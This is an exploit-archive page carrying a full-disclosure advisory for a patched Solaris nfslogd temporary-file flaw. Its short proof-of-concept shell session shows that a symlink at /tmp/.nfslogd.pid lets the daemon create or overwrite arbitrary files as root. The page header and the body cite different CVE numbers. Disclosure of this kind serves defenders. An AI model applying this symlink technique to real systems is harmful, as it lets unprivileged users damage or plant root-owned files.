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Solaris nfslogd Unsafe Use Of Temporary Files

Solaris nfslogd Unsafe Use Of Temporary Files
Posted Jul 21, 2010
Authored by Frank Stuart

Solaris nfslogd suffers from an unsafe use of temporary files vulnerability.

tags | exploit
systems | solaris
advisories | CVE-2010-2382
SHA-256 | 31a014d3634838be4d7686ca8bc19552353af446fcbb382d3cb0180cd390db98

Solaris nfslogd Unsafe Use Of Temporary Files

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Hash: SHA1

Below is the full disclosure information for CVE-2010-2383. It was
reported to security-alert@sun.com on 29 December, 2009 and assigned Sun
bug 6913655.

This vulnerability was addressed by Sun/Oracle in the July 2010 Critical
Patch Update
(http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html).

- ------
This one is with nfslogd which allows an unprivileged
user to create/overwrite a file as root:

Don't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/.nfslogd.pid
lrwxrwxrwx 1 nobody nobody 9 Dec 29 21:24 /tmp/.nfslogd.pid
- -> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
- -rw------- 1 root root 4 Dec 29 21:25 /etc/oops

- ------

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